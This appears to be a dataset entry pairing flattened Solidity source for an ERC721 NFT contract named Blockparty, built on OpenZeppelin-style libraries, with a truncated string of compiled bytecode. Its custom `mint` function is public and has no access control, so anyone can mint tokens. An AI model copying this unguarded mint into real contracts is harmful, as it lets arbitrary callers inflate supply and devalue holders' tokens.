* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenCreators;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev Returns token creator by tokenId.
*/
function creatorOf(uint256 tokenId) public view returns (address) {
return _tokenCreators.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
return _tokenURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev .
*/
function mint(address _receiver,string memory _tokenURI) public returns (uint256) {
uint256 id = _tokenOwners.length().add(1);
_mint(_receiver,id);
_setTokenURI(id, _tokenURI);
return id;
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mecanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
_tokenCreators.set(tokenId, msg.sender);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
_tokenCreators.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: col.sol
pragma solidity ^0.6.0;
contract Blockparty is ERC721, Ownable {
string uri;
constructor(string memory tokenName, string memory tokenSymbol, string memory contractURI ) public ERC721(tokenName, tokenSymbol) {
uri = contractURI;
}
function contractURI() external view returns (string memory) {
return uri;
}
function setContractURI(string calldata _uri) external onlyOwner {
uri = _uri;
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b88d4fde1161007c578063b88d4fde14610768578063c87b56dd1461086d578063d0def52114610914578063e8a3d48514610a03578063e985e9c514610a86578063f2fde38b14610b025761014d565b806370a0823114610570578063715018a6146105c85780638da5cb5b146105d2578063938e3d7b1461061c57806395d89b4114610695578063a22cb465146107185761014d565b806323b872dd1161011557806323b872dd146103145780632f745c591461038257806342842e0e146103e45780634f6ccce714610452578063589a1743146104945780636352211e146105025761014d565b806301ffc9a71461015257806306fdde03146101b7578063081812fc1461023a578063095ea7b3146102a857806318160ddd146102f6575b600080fd5b61019d6004803603602081101561016857600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050610b46565b604051808215151515815260200191505060405180910390f35b6101bf610bad565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ff5780820151818401526020810190506101e4565b50505050905090810190601f16801561022c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102666004803603602081101561025057600080fd5b8101908080359060200190929190505050610c4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f4600480360360408110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cea565b005b6102fe610e2e565b6040518082815260200191505060405180910390f35b6103806004803603606081101561032a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e3f565b005b6103ce6004803603604081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb5565b604051808281526020